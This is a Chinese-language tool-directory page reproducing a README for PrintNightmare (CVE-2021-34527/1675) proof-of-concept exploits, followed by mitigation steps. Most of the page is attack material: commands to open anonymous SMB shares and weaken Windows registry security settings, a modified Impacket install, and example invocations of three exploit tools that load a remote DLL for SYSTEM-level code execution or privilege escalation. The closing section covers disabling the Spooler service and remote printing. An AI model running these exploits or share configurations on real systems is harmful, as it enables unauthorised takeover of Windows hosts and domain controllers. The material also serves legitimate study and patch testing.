Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PrintNightmare-CVE-2021-34527 — PrintNightmare - Windows 打印后台处理程序 RCE/LPE 漏洞 (CVE-2021-34527, CVE-2021-1675) 概念验证利用 | Kitploit
工具/GitHubGitHub/nemo-wq/printnightmare-cve-2021-34527
权限提升漏洞分析漏洞利用渗透测试红队远程访问工具Payload 开发
GitHubnemo-wq/printnightmare-cve-2021-34527

PrintNightmare-CVE-2021-34527

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PrintNightmare - Windows 打印后台处理程序 RCE/LPE 漏洞 (CVE-2021-34527, CVE-2021-1675) 概念验证利用

查看仓库
17541254年前Kitploit 审核通过

PrintNightmare - Windows 打印后台处理程序 RCE/LPE 漏洞(CVE-2021-34527、CVE-2021-1675)

概述

这是一种远程代码执行漏洞,经过身份验证的远程用户可借此在运行打印后台处理程序服务的 Windows 机器上获取 SYSTEM 级权限。攻击者随后可利用该访问权限创建新帐户、尝试安装程序;查看、更改或删除数据;或创建具有完全用户权限的新帐户。

该漏洞源于 Windows 系统上打印后台处理程序服务 spoolsv.exe 中的一个授权绕过缺陷,该缺陷允许经过身份验证的远程用户使用 RPC 调用 RpcAddPrinterDriver 安装打印驱动程序,并指定位于远程位置的驱动程序文件。恶意用户利用此漏洞,可通过在安装打印驱动程序时注入恶意 DLL,在运行该服务的 Windows 系统上获取 SYSTEM 级权限。

虽然 Microsoft 已针对 CVE-2021-1675 发布了更新,但该更新并不能保护配置了“指向并打印”且启用了 NoWarningNoElevationOnInstall 选项的 Active Directory 域控制器或 Windows 系统。

此仓库中包含三种 PoC 漏洞利用实现:

  • 由 cube0x0 编写的 CVE-2021-34527 Python 脚本
  • 由 cube0x0 编写的 SharpPrintNightmare
  • 由 afwu 编写的 EXP(Printnightmare)

技术细节

受影响系统

  • 截至 2021 年 7 月 4 日,所有版本的 Windows 都包含易受攻击的代码并受此漏洞影响。漏洞利用已在 Windows 2019 Server 和 Windows 10 Pro 上测试过。

概念验证漏洞利用

由于 RPC 服务允许客户端机器为打印驱动程序提供远程服务器要下载的位置,因此可以使用以下示例选项来托管有效负载,并在运行漏洞利用时提供该路径:

Samba 共享设置

  • Unix/Linux:

    为了在 Samba 中设置来宾访问,您需要设置一个它将模拟登录的用户。确保系统中存在用户 smbuser,否则请创建一个密码为 password 的用户

    root@kitploit:~
    id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
    

    编辑 /etc/samba/smb.conf 并启用匿名访问

    root@kitploit:~
    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • Windows:

    root@kitploit:~
    mkdir C:\share
    icacls C:\share\ /T /grant Anonymous` logon:r
    icacls C:\share\ /T /grant Everyone:r
    New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

以下是 cube0x0 提供的说明的略微更新版本:

CVE-2021-34527 Python 脚本

这是由 cube0x0 使用 Impacket 实现的 Printnightmare 漏洞利用。 在运行该漏洞利用之前,您需要安装修改后的 Impacket 版本:

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

漏洞利用用法:

该漏洞的利用代码需要使用 Python 3 运行

root@kitploit:~
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SharpPrintNightmare

SharpPrintNightmare/ 目录包含 Printnightmare 漏洞的 C# 实现,涵盖本地权限提升(LPE)(CVE-2021-1675)和远程代码执行(RCE)。RCE 功能要求运行该漏洞利用的机器具有本地管理员权限。

漏洞利用用法:

root@kitploit:~
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password

EXP/ 使用说明(来自 afwu)

漏洞利用用法:

root@kitploit:~
.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##

缓解措施/临时解决方案

确定打印后台处理程序服务是否正在运行

运行以下命令:

root@kitploit:~
Get-Service -Name Spooler

如果打印后台处理程序正在运行,或者服务未设置为禁用,请选择以下选项之一,以禁用打印后台处理程序服务,或通过组策略禁用入站远程打印:

选项 1 - 禁用打印后台处理程序服务

如果禁用打印后台处理程序服务适用于您的企业,请使用以下 PowerShell 命令(微软建议):

root@kitploit:~
Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

或通过注册表禁用 Spooler 服务

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

或卸载 Print-Services 功能

root@kitploit:~
Uninstall-WindowsFeature Print-Services

这将同时禁用本地和远程打印功能。

选项 2 - 通过组策略禁用入站远程打印

您还可以通过组策略按如下方式配置设置:

root@kitploit:~
Computer Configuration / Administrative Templates / Printers

禁用“允许打印后台处理程序接受客户端连接:”策略以阻止远程攻击。

该策略将通过阻止入站远程打印操作来阻止远程攻击途径。系统将不再作为打印服务器运行,但仍可对直接连接的设备进行本地打印。

有关更多信息,请参阅:使用组策略设置来控制打印机。

致谢

  • 根据 MSRC 安全公告,此漏洞由 Zhipeng Huo、Piotr Madej 和 Zhang Yunhai 报告。
  • cube0x0
  • afwu
下载工具